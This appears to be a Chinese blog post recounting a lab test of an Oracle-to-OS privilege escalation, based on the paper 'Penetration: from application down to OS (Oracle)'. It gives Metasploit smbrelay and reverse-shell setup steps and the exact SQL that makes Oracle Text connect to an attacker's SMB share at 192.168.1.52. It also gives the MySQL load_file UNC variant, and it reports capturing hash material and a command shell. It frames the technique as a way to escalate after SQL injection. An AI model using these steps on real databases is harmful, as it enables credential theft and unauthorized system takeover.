這幾天看了篇叫"Penetration: from application down to OS (Oracle)"的文檔,感覺挺有意思的,文檔的 大概意思就是說,如果 ORACLE 服務是用 administrator 賬戶啟動的,你只要有一個具有 resource 和 connect 許可權的資料庫賬戶,就能利用 metasploit 的 smbrelay 功能,本地搭建一個 SMB 欺騙伺服器, 來得到系統的存取權限。我本地測試了下,還真的成功了。:-)
具體的原理分析看原文吧,我這裡把我的測試過程寫出來.
我的滲透環境用的是 ubuntu8.10+metasploit 3.3 dev,oracle 資料庫版本為 10.2.0.1.0,服務啟動許可權為 administrator,資料庫賬戶用的是 dbsnmp 賬戶的預設許可權.
1.先用 netstat 命令查看一下,本地的 139 連接埠有沒有佔用,一般佔用此連接埠的服務就是 Samba 了,要關掉。ubuntu 的關閉方法是 sudo /etc/init.d/samba stop<p>
2.運行 metasploit,我選用的 PAYLOAD 是 shell_reverse_tcp,做好相應配置後,exploit.就能用 netstat 看到本地已經監聽了 139 和 8522 連接埠了.
3.我現在使用 dbsnmp 預設賬戶串連到 oracle 資料庫上,這個賬戶預設許可權是比較低的,只有 connect和 resource 許可權。
4.然後執行下面 3 條 SQL 陳述式
SQL> CREATE TABLE files(id NUMBER PRIMARY KEY,path VARCHAR(255) UNIQUE,ot_format VARCHAR(6));</p><p>SQL> INSERT INTO files VALUES(1,'\\192.168.1.52\mickey',NULL);</p><p>SQL> CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context</p><p>2 PARAMETERS('datastore ctxsys.file_datastore format column ot_format');<br />
後來經過 pt007 的提醒,我又測試了 mysql,如果服務也是 administrator 啟動的,用select load_file('\\\\192.168.1.52\mk.txt')也是可以得到系統許可權的.MSSQL 應該用 xp_dirtree 預存程序 也是可以的,不過我沒有配置出來用 administrator 賬戶啟動 MSSQL 服務,希望知道的朋友指點下我。
這個技術可以用到內網 WEB 評估的時候,如果有注入,服務又是 administrator 啟動的,可以提權了。
兩個PDF下載,
作者:Mickey
http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(Oracle%20database).pdf
http://54mickey.googlepages.com/Penetration_fromapplication_down_to_.pdf
當執行完 create index 這句的時候,在看咱們本地的 metasploit,就已經得到 ORACLE 資料庫主機的系 統當前服務使用者的 half lm 雜湊和 cmdshell 了。